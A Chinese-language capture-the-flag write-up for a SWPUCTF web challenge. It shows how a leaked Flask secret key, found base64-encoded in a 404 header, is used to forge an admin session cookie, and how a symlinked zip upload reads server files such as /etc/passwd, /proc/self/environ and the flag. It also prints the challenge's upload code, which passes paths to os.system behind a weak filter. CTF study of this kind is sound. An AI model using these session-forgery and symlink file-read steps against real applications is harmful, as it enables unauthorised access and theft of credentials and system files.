從swpuctf里面的一道ctf題目來講解secret_key偽造session來進行越權。
以前沒有遇到過這種題目,這次遇到了之后查了一些資料把它做了出來,記錄一下知識點。
參考資料
http://northity.com/2018/11/12/HCTF-WEB%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/ https://xz.aliyun.com/t/2589 https://www.anquanke.com/post/id/163974 https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/

首先我們進行登錄,這里沒有注冊按鈕,所以我們隨意輸入賬號密碼即可以登錄。
我們使用test/test進行登錄

可以看到有一個upload模塊,進行點擊,返回權限不夠的提示。

可以猜測這里我們是需要管理員的權限才可以進行文件上傳
再查看一下源代碼,里面有一個404 not found的提示

於是我們構造一個不存在的頁面,使其服務器返回404頁面,burpsuite抓包查看

可以看到404界面服務器返回了
swpuctf_csrf_token:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
這里的base64編碼我們進行解密之后得到是:
SECRET_KEY:keyqqqwwweee!@#$%^&*
解密之后我們得到了secret_key的值,這里驗證了我們最開始的結論,正是要偽造管理員的 session 登錄之后擁有upload的權限。
對於官方wp,這個地方的繞過是用的另一種方式

我們繼續使用剛才的思路進行偽造。
關於session偽造的相關博客:
https://www.leavesongs.com/PENETRATION/client-session-security.html https://www.jianshu.com/p/f92311564ad0
python腳本地址:
https://github.com/noraj/flask-session-cookie-manager
這里需要提到的是:我們需要知道服務器后端使用的python版本是2或者是3,因為通過這兩個版本進行加密的session解密出來的格式是不一樣的。
這里經過測試我們可知后端的python的版本是3.x的
接着我們將自己加密后的session和screct_key放進python腳本里面跑出解密后的session

我們把id改成1,用戶名改成admin,其余不變進行session加密

最終得到admin加密之后的session:
eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoidGVzdCIsInVzZXJuYW1lIjoiYWRtaW4ifQ.XfERxA.nrEW0S_sf4jtSfnfGmHbFnSv07w
點擊upload使用burpsuite進行抓包,將Session更換成我們偽造的session,權限符合,進入

upload頁面有后端的代碼:
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
一個是檢測來到upload頁面的權限,另外一個是flag所在的位置,即./flag/flag.jpg
所以接下來要做的事情很明確,我們需要將上傳的壓縮包能夠讀取服務器端的文件。

這里使用linux里面的軟鏈接達到這個效果,不過我們需要先填入需要讀取文件的路徑。
我們先使用:
ln -s /etc/passwd test zip -y test.zip test
看看能不能讀到東西

看出來我們可以使用這種方式讀取文件,接下來我們可以看一下/proc/self/environ,能讀到uwsgi配置文件

這里跟題目環境不太一樣,不懂開發的我確實找不到路徑,第二種方法就是在linux中,/proc/self/cwd/會指向進程的當前目錄,當我們不知道flask工作目錄的時候,我們就使用/proc/self/cwd/flag/flag.jpg來訪問flag.jpg
(因為代碼里面已經顯示了flag.jpg在當前目錄下的/flag/flag.jpg這個位置)

上傳之后即查詢到了flag的值
